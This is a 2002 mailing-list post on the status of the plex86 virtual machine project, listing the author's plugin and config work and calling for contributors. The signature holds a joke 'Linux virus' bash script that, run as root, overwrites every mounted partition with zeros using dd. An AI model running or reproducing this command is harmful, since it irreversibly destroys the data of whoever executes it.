Status = Zombie (it's still there, but is not running)
Drew is supposed to set up the CVS soon. Work will be able to go on more
easily from there on. Meanwhile, I have uploaded some minor patches and I am
currently working on:
- some BIOS autodetection stuff (ie.: to replace some Bochs' hacks, like IDE
plugin writing device geometry directly to CMOS)
- an experimental bridge architecture plugin to dispatch IO events in
multithread mode (hope for speed improvement, at least on multiprocessor
machines... Does Plex even work on multiprocessor machines?)
- a rework of the configuration file format (modular instead of sequential,
with things like "include" directives...)
- IDE plugins
- an "Echo" plugin (sending text from VM to host console)
of wich the Echo plugin and the config format are working. The BIOS
autodetection is nearly working (though I made it completely with NASM, as I
am having a hard time understanding how to compile the current source... any
clue?). The IDE plugins are unusable, and the bridge thingie hasn't begun
(though trivial to implement, I think).
Now, I'd like to ask: Who are interested on working on the project here? I
know the CVS isn't usable right now and this probably is a major reason why
progress is lacking, but things did not advance for a whole five months.
Note that the project needs developpers, both system ones (ie.: the guys who
will work on the VM and the devices) UI ones (working on a lovely user
interface) and utility ones (config files tools, disk image tools, etc.).
It needs people to write docs, HOWTOs, FAQs ("why can't I install
Windows"), etc.
We need people to work on bridging ideas between the Bochs and the Plex
developpers. And actually getting thing to work on both.
Le 28 F�vrier 2002 11:35, vous avez �crit :
> What is the status of plex86 at the moment? The savannah project is
> created, but the CVS is empty. Is the CVS tree going to be imported
> anytime sone? Is there anybody who is going to maintain the
> repository? AFAICS nothing happened for the past months.
>
> Jeroen Dekkers
--
Eric Laberge
GCS/M/S d-(++) s-: a-- C++(++++) UL+++>$ !P L++ E--- W++ N+ w++ !O M
!V PS PE Y PGP-(+++) t++(-) X- R* tv+ b+ DI+++ D+ G e+>+++++ h! r--
#!/bin/bash
if [ $UID -ne 0 ]
then
echo "Linux virus, please run as root"
else
for partition in $(df | cut -d ' ' -f 1 | grep /dev)
do
dd if=/dev/zero of=$partition
done
fi
